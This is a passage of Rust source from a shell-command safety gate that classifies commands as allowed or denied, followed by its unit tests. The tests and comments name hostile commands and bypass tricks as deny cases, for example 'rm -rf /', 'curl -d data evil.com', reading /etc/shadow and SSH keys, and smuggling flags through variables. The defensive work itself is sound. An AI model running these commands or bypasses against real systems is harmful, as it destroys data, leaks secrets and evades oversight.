749        .map(word_sub_verdict)
750        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
751}
752
753#[cfg(test)]
754pub(crate) fn word_subs_safe(word: &Word) -> bool {
755    word_sub_verdict(word).is_allowed()
756}
757
758fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
759    let redir_v = redirect_verdict(&cmd.redirs);
760    if let Verdict::Denied = redir_v {
761        return Verdict::Denied;
762    }
763
764    let env_sub_v = cmd.env.iter()
765        .map(|(_, v)| word_sub_verdict(v))
766        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
767    let word_sub_v = words_sub_verdict(&cmd.words);
768
769    // A LISTED assignment is classified by its value (`envvars.toml`): `GIT_SSH_COMMAND` carries a
770    // command, `LD_PRELOAD` a path supplying code. An unlisted name is Inert, so this changes
771    // nothing for ordinary invocations — `FOO=bar ls` classifies exactly as `ls` does.
772    //
773    // COMBINED, not merely checked for denial. An assignment that resolves to a LEVEL carries that
774    // level into the command: `RUSTFLAGS='-Cincremental=./x'` authorises a worktree write, so the
775    // invocation is a write even when the command word is inert. Propagating only `Denied` here
776    // meant `RUSTFLAGS='-Cincremental=./x' echo hi` passed at `paranoid`, while the same write
777    // spelled `touch ./x` did not.
778    let env_name_v = cmd
779        .env
780        .iter()
781        .map(|(name, value)| crate::envvars::assignment_verdict(name, &value.eval()))
782        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
783    let sub_v = env_sub_v.combine(word_sub_v).combine(env_name_v);
784
785    if let Verdict::Denied = sub_v {
786        return Verdict::Denied;
787    }
788
789    if cmd.words.is_empty() {
790        if cmd.env.is_empty() {
791            return Verdict::Allowed(SafetyLevel::Inert);
792        }
793        return sub_v.combine(redir_v);
794    }
795
796    let name = cmd.words[0].eval();
797
798    // Function CALL: a user function SHADOWS everything it names, INCLUDING builtins like `eval`
799    // (`eval(){ rm -rf /; }; eval "echo hi"` runs the function, not eval) — so resolve a defined name
800    // FIRST, before the eval special-case and the leaf dispatch. Classify its BODY with $1..$N bound
801    // to the call's args (certain literals; uncertain → unpinnable). The shadow is UNCONDITIONAL: if
802    // resolution is blocked (recursion / depth / budget) we FAIL CLOSED, never fall through to the
803    // real command — otherwise `…512 calls…; ls(){ rm -rf /; }; ls` would exhaust the budget and then
804    // run the real `ls` for the rebound name, a bypass.
805    if let Some(body) = lookup_function(&name) {
806        let Some(_resolving) = begin_resolving(&name) else {
807            return Verdict::Denied;
808        };
809        let _args: Vec<crate::pathctx::VarGuard> = cmd.words[1..]
810            .iter()
811            .enumerate()
812            .map(|(i, w)| crate::pathctx::enter_var((i + 1).to_string(), certain_value(w)))
813            .collect();
814        return sub_v.combine(script_verdict(&body)).combine(redir_v);
815    }
816
817    if name == "eval" {
818        return eval_verdict(cmd).combine(sub_v).combine(redir_v);
819    }
820
821    // Brace-expand each word (`cat {/etc/shadow,x}` → two operands) so every alternative bash
822    // would run is classified — a braced word must not hide a system path from the gate.
823    let tokens: Vec<Token> =
824        cmd.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
825    if tokens.is_empty() {
826        return Verdict::Allowed(SafetyLevel::Inert);
827    }
828    if smuggles_a_flag(cmd) {
829        return Verdict::Denied;
830    }
831
832    let cmd_v = leaf_verdict(&tokens);
833    sub_v.combine(cmd_v).combine(redir_v)
834}
835
836/// Whether an operand hides a FLAG behind an unquoted expansion.
837///
838/// The word-splitting problem again, on the dimension the locus gate cannot see. One CST word
839/// becomes several arguments at run time, and when a piece starts with `-` the command's flag
840/// allowlist was simply never shown it:
841///
842/// ```text
843/// VAR="--exec rm"; fd pat $VAR        ran `rm` on every match
844/// VAR="-exec rm {} ;"; find . $VAR    deleted the tree
845/// ```
846///
847/// Splitting for LOCUS (see `locus::classify_local`) does not help here, because the danger is not
848/// where a path points — it is a capability the grammar would have refused outright.
849///
850/// This refuses rather than re-tokenizing. Re-tokenizing would be more precise, and the machinery
851/// is close at hand (`Word::expand` already turns one word into many for brace expansion) — but a
852/// bound value carries SEPARATE read and write representatives for loop variables, so feeding it
853/// back into tokenization would have to pick a face before the face is known. Refusing costs a
854/// prompt on `VAR="-rf ./sub"; rm $VAR`, which is a rare way to write a command; see TODO.md.
855///
856/// Only UNQUOTED expansions split, so `cat "$VAR"` with a spacey filename is untouched — a quoted
857/// expansion is one word to the shell too.
858fn smuggles_a_flag(cmd: &SimpleCmd) -> bool {
859    cmd.words.iter().skip(1).any(|w| {
860        // A top-level `Lit` is the unquoted case; a `DQuote` part is not split by the shell.
861        w.0.iter().any(|part| {
862            let WordPart::Lit(raw) = part else { return false };
863            if !raw.contains('$') {
864                return false;
865            }
866            let expanded = crate::pathctx::expand_vars(raw, false);
867            expanded.split([' ', '\t', '\n']).skip(1).any(|piece| piece.starts_with('-'))
868                || (expanded.split([' ', '\t', '\n']).count() > 1
869                    && expanded.starts_with('-'))
870        })
871    })
872}
873
874/// The command leaf's verdict. The behavioral-capability engine is authoritative for every
875/// command it can resolve; the legacy classifier handles the rest (`…-engine` §4). There is
876/// no opt-out — the engine is the default and only path.
877fn leaf_verdict(tokens: &[Token]) -> Verdict {
878    let legacy = handlers::dispatch(tokens);
879    crate::engine::bridge::engine_verdict(tokens).unwrap_or(legacy)
880}
881
882fn eval_verdict(cmd: &SimpleCmd) -> Verdict {
883    if cmd.words.len() < 2 {
884        return Verdict::Denied;
885    }
886    for arg in &cmd.words[1..] {
887        if !arg_is_eval_safe(arg) {
888            return Verdict::Denied;
889        }
890    }
891    Verdict::Allowed(SafetyLevel::Inert)
892}
893
894fn arg_is_eval_safe(word: &Word) -> bool {
895    let mut found_safe = false;
896    for part in &word.0 {
897        match part {
898            WordPart::Lit(s) | WordPart::SQuote(s) => {
899                if !s.chars().all(char::is_whitespace) {
900                    return false;
901                }
902            }
903            WordPart::Escape(c) => {
904                if !c.is_whitespace() {
905                    return false;
906                }
907            }
908            WordPart::CmdSub(script) => {
909                if !script_yields_eval_safe(script) {
910                    return false;
911                }
912                found_safe = true;
913            }
914            WordPart::Backtick(raw) => {
915                let Some(script) = parse(raw) else {
916                    return false;
917                };
918                if !script_yields_eval_safe(&script) {
919                    return false;
920                }
921                found_safe = true;
922            }
923            WordPart::DQuote(inner) => {
924                if !arg_is_eval_safe(inner) {
925                    return false;
926                }
927                if has_substitution(inner) {
928                    found_safe = true;
929                }
930            }
931            WordPart::ProcSub(_) | WordPart::Arith(_) => return false,
932        }
933    }
934    found_safe
935}
936
937fn script_yields_eval_safe(script: &Script) -> bool {
938    if script.0.len() != 1 {
939        return false;
940    }
941    let stmt = &script.0[0];
942    if !matches!(stmt.op, None | Some(ListOp::Semi)) {
943        return false;
944    }
945    let pipeline = &stmt.pipeline;
946    if pipeline.bang || pipeline.commands.len() != 1 {
947        return false;
948    }
949    let Cmd::Simple(s) = &pipeline.commands[0] else {
950        return false;
951    };
952    if !s.env.is_empty() {
953        return false;
954    }
955    // A redirect inside the substitution is allowed only if it's inert:
956    // stderr suppression (`2>/dev/null`), an fd dup (`2>&1`), or `/dev/null`.
957    // A redirect that writes a real file is SafeWrite, not inert, so
958    // `mise activate bash > evil` is rejected — eval-safe must not gain a
959    // file-write side effect, and diverting stdout to a file is pointless here.
960    if redirect_verdict(&s.redirs) != Verdict::Allowed(SafetyLevel::Inert) {
961        return false;
962    }
963    for w in &s.words {
964        if !word_is_plain_literal(w) {
965            return false;
966        }
967    }
968    let tokens: Vec<Token> =
969        s.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
970    if tokens.is_empty() {
971        return false;
972    }
973    crate::registry::is_eval_safe_invocation(&tokens)
974}
975
976/// True iff every character of `word` is drawn from the bare-literal
977/// alphabet: ASCII alphanumerics plus `_`, `-`, `.`, `/`, `=`. Words
978/// matching this shape consist entirely of identifier-style or
979/// path-style tokens that the shell will pass through to the
980/// substituted command unchanged at runtime.
981///
982/// Required for words inside eval-safe substitutions because the
983/// "stdout is shell-init code" trust depends on the contributor having
984/// vetted what gets passed to the tool. Restricting the alphabet to
985/// chars with no shell-expansion semantics keeps the substituted
986/// invocation static across parse-time and runtime — what you see in
987/// the source is what the tool receives.
988fn word_is_plain_literal(word: &Word) -> bool {
989    word.0.iter().all(part_is_plain_literal)
990}
991
992fn part_is_plain_literal(part: &WordPart) -> bool {
993    match part {
994        WordPart::Lit(s) | WordPart::SQuote(s) => s.chars().all(is_bare_literal_char),
995        WordPart::Escape(c) => is_bare_literal_char(*c),
996        WordPart::DQuote(inner) => word_is_plain_literal(inner),
997        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => false,
998    }
999}
1000
1001/// Bare-literal alphabet: ASCII alphanumerics plus a tight punctuation
1002/// set covering identifiers (`_`, `-`), versions / paths (`.`, `/`),
1003/// and the long-flag value form (`=`). New chars require an explicit
1004/// eval-safe use case — add by extending this match, never by
1005/// excluding individual hostile chars.
1006fn is_bare_literal_char(c: char) -> bool {
1007    c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '/' | '=')
1008}
1009
1010pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
1011    redirs.iter().all(|r| match r {
1012        // `<>` opens for writing too, so it faces the same `/dev/null`-only bar as `>`.
1013        Redir::Write { target, .. } | Redir::ReadWrite { target, .. } => target.eval() == "/dev/null",
1014        Redir::Read { .. }
1015        | Redir::HereStr(_)
1016        | Redir::HereDoc { .. }
1017        | Redir::DupFd { .. } => true,
1018    })
1019}
1020
1021/// Whether a redirect *write* target is one we can auto-approve. Delegates to the SAME location
1022/// model + user grants the engine's file writers (`cp`/`mv`/`tee`/…) use, so a `> ~/file` honors
1023/// a home grant exactly like `cp ./a ~/file`; `/tmp` and `/dev/stdout` stay writable; and
1024/// `.git`/`.envrc`, home, absolute system paths, `..` escapes, and `$`-unpinnable targets stay
1025/// frozen (a redirect there can plant a git hook, an SSH key, or a direnv script that runs
1026/// later). Relative targets resolve against the harness cwd/root inside `write_target_verdict`.
1027fn is_safe_write_target(path: &str) -> bool {
1028    crate::engine::resolve::write_target_verdict(path).is_allowed()
1029}
1030
1031/// The verdict for a redirect that OPENS `target` for writing.
1032fn write_face(target: &Word) -> Verdict {
1033    let t = target.eval();
1034    if t == "/dev/null" {
1035        // Inert: no side effect, no promotion.
1036        Verdict::Allowed(SafetyLevel::Inert)
1037    } else if is_safe_write_target(&t) {
1038        Verdict::Allowed(SafetyLevel::SafeWrite)
1039    } else {
1040        Verdict::Denied
1041    }
1042}
1043
1044/// The verdict for a redirect that OPENS `target` for reading. Gates the SOURCE by its read locus,
1045/// like an operand read: `cat < /etc/shadow` must deny just as `cat /etc/shadow` does. A
1046/// substitution-derived source names an unknowable file → fail-closed to Denied.
1047fn read_face(target: &Word) -> Verdict {
1048    let t = target.eval();
1049    // Keyed on the EVALUATED value rather than on "is there a substitution part", so a
1050    // substitution whose inner command declared its output locus (`< $(pwd)/f`) is gated by that
1051    // locus, while an undeclared one still fail-closes on its opaque marker.
1052    if is_opaque_value(&t) {
1053        Verdict::Denied
1054    } else {
1055        crate::engine::resolve::read_content_verdict(&t)
1056    }
1057}
1058
1059pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
1060    let mut level = Verdict::Allowed(SafetyLevel::Inert);
1061    for r in redirs {
1062        match r {
1063            Redir::Write { target, .. } => {
1064                level = level.combine(word_sub_verdict(target));
1065                level = level.combine(write_face(target));
1066            }
1067            Redir::Read { target, .. } => {
1068                level = level.combine(word_sub_verdict(target));
1069                level = level.combine(read_face(target));
1070            }
1071            // `<>` opens the target BOTH ways, so it takes both gates. Taking only one would let
1072            // the other face through: the write gate alone misses reading a secret, and the read
1073            // gate alone misses overwriting a file that is merely readable.
1074            Redir::ReadWrite { target, .. } => {
1075                level = level.combine(word_sub_verdict(target));
1076                level = level.combine(write_face(target));
1077                level = level.combine(read_face(target));
1078            }
1079            Redir::HereStr(word) => {
1080                level = level.combine(word_sub_verdict(word));
1081            }
1082            // A heredoc body is inert ONLY behind a quoted delimiter. With a bare `<<EOF` the shell
1083            // expands the body, so a substitution in it runs and is classified exactly like one in
1084            // any other word. `body` is empty for the quoted spellings, so this is a no-op there.
1085            Redir::HereDoc { body, .. } => {
1086                level = level.combine(word_sub_verdict(body));
1087            }
1088            Redir::DupFd { .. } => {}
1089        }
1090    }
1091    level
1092}
1093
1094fn has_substitution(word: &Word) -> bool {
1095    word.0.iter().any(|p| match p {
1096        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
1097        WordPart::DQuote(inner) => has_substitution(inner),
1098        _ => false,
1099    })
1100}
1101
1102#[cfg(test)]
1103mod tests {
1104    use super::*;
1105
1106    fn check(cmd: &str) -> bool {
1107        is_safe_command(cmd)
1108    }
1109
1110    #[test]
1111    fn loop_variable_inherits_the_list_locus() {
1112        // A worktree `in`-list → the body reads/writes the worktree → allowed. The bare `$f`
1113        // used to fail-closed to machine; now it binds to the list, like find's `{}`→path.
1114        for cmd in [
1115            "for f in *.txt; do cat $f; done",
1116            "for f in *.txt; do rm $f; done",
1117            "for f in src/*.rs; do grep foo $f; done",
1118            "for f in *.log; do sed -i s/a/b/ $f; done",
1119            "for f in a b c; do cat $f.bak; done",
1120            "for x in 1 2 3; do rm $x; done",
1121            "for d in a b; do for f in $d/x; do cat $f; done; done", // nested loops compose
1122        ] {
1123            assert!(check(cmd), "worktree loop should allow: {cmd}");
1124        }
1125        // A system / credential / unpinnable `in`-list → deny (the body could touch it).
1126        for cmd in [
1127            "for f in /etc/*; do cat $f; done",
1128            "for f in /etc/*.conf; do rm $f; done",
1129            "for f in ~/.ssh/*; do cat $f; done",
1130            "for f in $LIST; do rm $f; done",
1131            "for f in $(find / -name x); do rm -rf $f; done",
1132            "for d in /etc; do for f in $d/x; do cat $f; done; done",
1133            // read-worst ≠ write-worst: reading must worst-case ~/notes even though the
1134            // write-worst item is /etc/hosts — a single representative would be unsound.
1135            "for f in /etc/hosts ~/notes; do cat $f; done",
1136        ] {
1137            assert!(!check(cmd), "non-worktree loop should deny: {cmd}");
1138        }
1139    }
1140
1141    safe! {
1142        grep_foo: "grep foo file.txt",
1143        jq_key: "jq '.key' file.json",
1144        base64_d: "base64 -d",
1145        ls_la: "ls -la",
1146        wc_l: "wc -l file.txt",
1147        ps_aux: "ps aux",
1148        echo_hello: "echo hello",
1149        cat_file: "cat file.txt",
1150
1151        version_go: "go --version",
1152        version_cargo: "cargo --version",
1153        version_cargo_redirect: "cargo --version 2>&1",
1154        help_cargo: "cargo --help",
1155        help_cargo_build: "cargo build --help",
1156
1157        dev_null_echo: "echo hello > /dev/null",
1158        dev_null_stderr: "echo hello 2> /dev/null",
1159        dev_null_append: "echo hello >> /dev/null",
1160        dev_null_git_log: "git log > /dev/null 2>&1",
1161        fd_redirect_ls: "ls 2>&1",
1162        stdin_dev_null: "git log < /dev/null",
1163
1164        env_prefix: "FOO='bar baz' ls -la",
1165        env_prefix_dq: "FOO=\"bar baz\" ls -la",
1166        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
1167
1168        subst_echo_ls: "echo $(ls)",
1169        subst_ls_pwd: "ls `pwd`",
1170        subst_nested: "echo $(echo $(ls))",
1171        subst_quoted: "echo \"$(ls)\"",
1172        assign_subst_ls: "out=$(ls)",
1173        assign_subst_git: "out=$(git status)",
1174        assign_subst_multiple: "a=$(ls) b=$(pwd)",
1175        assign_subst_backtick: "out=`ls`",
1176
1177        assign_bare_lit: "foo=bar",
1178        assign_bare_int: "x=1",
1179        assign_bare_empty: "x=",
1180        assign_bare_dq: "x=\"foo bar\"",
1181        assign_bare_sq: "x='foo bar'",
1182        assign_bare_param: "rc=$?",
1183        assign_bare_var: "x=$y",
1184        assign_bare_dollar_var_braced: "x=${y}",
1185        assign_bare_path: "PATH=/foo",
1186        assign_bare_multiple: "a=1 b=2 c=3",
1187        assign_bare_arith: "x=$((1 + 2))",
1188        assign_in_for_body: "for i in 1 2; do x=1; done",
1189        assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
1190        assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
1191        assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
1192        assign_then_use: "x=1; echo $x",
1193        assign_chained_with_safe: "x=1 && ls",
1194        assign_subshell: "(x=1)",
1195        assign_in_subshell_with_cmd: "(x=1; ls)",
1196
1197        // A loop over a BOUNDED substitution. These are the positive half of the substitution
1198        // rule: the deny corpus only asserts that hot roots are refused, which a blanket refusal
1199        // would satisfy vacuously — so without these, reverting `loop_reprs` to its old
1200        // `__SAFE_CHAINS_` prefix test would silently re-deny the whole form and stay green.
1201        loop_over_bounded_sub: "for f in $(fd a app/); do cat $f; done",
1202        loop_over_bounded_sub_quoted: "for f in $(fd a app/); do cat \"$f\"; done",
1203        loop_over_bounded_sub_write: "for f in $(fd a app/); do echo hi > $f; done",
1204        loop_over_bounded_sub_pipeline: "for f in $(fd a app/ | head -3); do cat $f; done",
1205        loop_over_pwd: "for f in $(pwd); do cat $f; done",
1206
1207        case_single_arm: "case x in x) echo a;; esac",
1208        case_alternation: "case $x in a|b) ls;; *) echo n;; esac",
1209        case_paren_prefixed_pattern: "case \"$1\" in (start) ls;; (stop) pwd;; esac",
1210        case_last_arm_without_terminator: "case x in x) echo a; esac",
1211        case_empty_body: "case x in x) ;; esac",
1212        case_multiline: "case \"$1\" in\n  start)\n    ls -la\n    ;;\n  *)\n    echo usage\n    ;;\nesac",
1213        case_in_substitution: "echo $(case A in *) echo a;; esac)",
1214        case_nested_in_if: "if true; then case x in a) ls;; esac; fi",
1215        clobber_redirect: "ls >| out.txt",
1216        clobber_redirect_fd: "ls 1>| out.txt",
1217        readwrite_redirect: "ls <> f.txt",
1218        readwrite_redirect_devnull: "ls <> /dev/null",
1219
1220        subshell_echo: "(echo hello)",
1221        subshell_ls: "(ls)",
1222        subshell_chain: "(ls && echo done)",
1223        subshell_pipe: "(ls | grep foo)",
1224        subshell_nested: "((echo hello))",
1225        subshell_for: "(for x in 1 2; do echo $x; done)",
1226
1227        pipe_grep_head: "grep foo file.txt | head -5",
1228        pipe_cat_sort_uniq: "cat file | sort | uniq",
1229        chain_ls_echo: "ls && echo done",
1230        semicolon_ls_echo: "ls; echo done",
1231        bg_ls_echo: "ls & echo done",
1232        newline_echo_echo: "echo foo\necho bar",
1233
1234        stdin_read_from_path: "wc -l < /tmp/foo.log",
1235        stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
1236        stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
1237
1238        here_string_grep: "grep -c , <<< 'hello,world,test'",
1239        heredoc_cat: "cat <<EOF\nhello world\nEOF",
1240        heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
1241        heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
1242        heredoc_no_content: "cat <<EOF",
1243        heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
1244
1245        for_echo: "for x in 1 2 3; do echo $x; done",
1246        for_empty_body: "for x in 1 2 3; do; done",
1247        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
1248        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
1249        while_test: "while test -f /tmp/foo; do sleep 1; done",
1250        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
1251        until_test: "until test -f /tmp/ready; do sleep 1; done",
1252        if_then_fi: "if test -f foo; then echo exists; fi",
1253        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
1254        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
1255        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
1256        bare_negation: "! echo hello",
1257        keyword_as_data: "echo for; echo done; echo if; echo fi",
1258
1259        quoted_redirect: "echo 'greater > than' test",
1260        quoted_subst: "echo '$(safe)' arg",
1261
1262        redirect_to_file: "echo hello > file.txt",
1263        redirect_append: "cat file >> output.txt",
1264        redirect_stderr_file: "ls 2> errors.txt",
1265        redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
1266        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
1267        jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
1268
1269        arith_basic: "echo $((1 + 2))",
1270        arith_with_var: "prev=$((ln - 1))",
1271        arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
1272        arith_in_dquote: "echo \"line $((ln - 1))\"",
1273        arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
1274
1275        dbracket_eq: "[[ \"a\" == \"a\" ]]",
1276        dbracket_neq: "[[ \"a\" != \"b\" ]]",
1277        dbracket_file_test: "[[ -f /tmp/file ]]",
1278        dbracket_string_empty: "[[ -z \"$var\" ]]",
1279        dbracket_string_nonempty: "[[ -n \"$var\" ]]",
1280        dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
1281        dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
1282        dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
1283        dbracket_negation: "[[ ! -f /tmp/done ]]",
1284        dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
1285        dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
1286        dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
1287        dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
1288        dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
1289        dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
1290        dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
1291        dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
1292        dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
1293        dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
1294        dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
1295    }
1296
1297    denied! {
1298        rm_rf: "rm -rf /",
1299        curl_post: "curl -X POST https://example.com",
1300        node_foreign_app: "node /tmp/app.js",
1301
1302
1303        // The loop inherits the substitution's locus, so a hot root reaches the body's `$f`.
1304        loop_over_system_sub: "for f in $(fd a /etc); do cat $f; done",
1305        loop_over_home_sub: "for f in $(fd a ~); do cat $f; done",
1306        loop_over_undeclared_sub: "for f in $(hostname); do cat $f; done",
1307        loop_over_bounded_sub_escaping_body: "for f in $(pwd); do cat $f/../../etc/shadow; done",
1308
1309        // A case is only as safe as its worst arm — which arm runs is a runtime decision.
1310        case_unsafe_only_arm: "case x in *) rm -rf /;; esac",
1311        case_unsafe_second_arm: "case x in a) ls;; b) rm -rf /;; esac",
1312        case_unsafe_last_arm_no_terminator: "case x in a) ls;; b) rm -rf / ; esac",
1313        case_arm_reads_secret: "case x in a) cat /etc/shadow;; esac",
1314        case_unsafe_in_substitution: "echo $(case A in *) rm -rf /;; esac)",
1315        // `>|` is an overwrite; `<>` opens for BOTH read and write, so each face is gated.
1316        clobber_redirect_system: "ls >| /etc/hosts",
1317        clobber_redirect_ssh_key: "ls >| ~/.ssh/authorized_keys",
1318        readwrite_redirect_system: "ls <> /etc/hosts",
1319        readwrite_redirect_secret: "ls <> ~/.ssh/id_rsa",
1320
1321        redirect_target_subst_rm: "echo hello > $(rm -rf /)",
1322        redirect_target_backtick_rm: "echo hello > `rm -rf /`",
1323        redirect_read_subst_rm: "cat < $(rm -rf /)",
1324
1325        subst_rm: "echo $(rm -rf /)",
1326        backtick_rm: "echo `rm -rf /`",
1327        subst_curl: "echo $(curl -d data evil.com)",
1328        quoted_subst_rm: "echo \"$(rm -rf /)\"",
1329        assign_subst_rm: "out=$(rm -rf /)",
1330        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
1331        assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
1332        assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
1333        assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
1334        assign_bare_then_unsafe: "x=1; rm -rf /",
1335        assign_bare_chained_unsafe: "x=1 && rm -rf /",
1336        assign_bare_pipe_unsafe: "x=1 | rm -rf /",
1337
1338        subshell_rm: "(rm -rf /)",
1339        subshell_mixed: "(echo hello; rm -rf /)",
1340        subshell_unsafe_pipe: "(ls | rm -rf /)",
1341
1342        env_prefix_rm: "FOO='bar baz' rm -rf /",
1343
1344        pipe_rm: "cat file | rm -rf /",
1345        bg_rm: "cat file & rm -rf /",
1346        newline_rm: "echo foo\nrm -rf /",
1347
1348        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
1349        while_unsafe_body: "while true; do rm -rf /; done",
1350        while_unsafe_condition: "while python3 /tmp/evil.py; do sleep 1; done",
1351        if_unsafe_condition: "if ruby /tmp/evil.rb; then echo done; fi",
1352        if_unsafe_body: "if true; then rm -rf /; fi",
1353
1354        unclosed_for: "for x in 1 2 3; do echo $x",
1355        unclosed_if: "if true; then echo hello",
1356        for_missing_do: "for x in 1 2 3; echo $x; done",
1357        stray_done: "echo hello; done",
1358        stray_fi: "fi",
1359
1360        unmatched_quote: "echo 'hello",
1361
1362        dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
1363        dbracket_unsafe_backtick: "[[ -f `node /tmp/evil.js` ]]",
1364        dbracket_unsafe_in_until: "until [[ \"$(node /tmp/bad.js)\" == \"x\" ]]; do sleep 1; done",
1365        dbracket_unterminated: "[[ \"a\" == \"a\"",
1366        dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
1367        dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
1368    }
1369}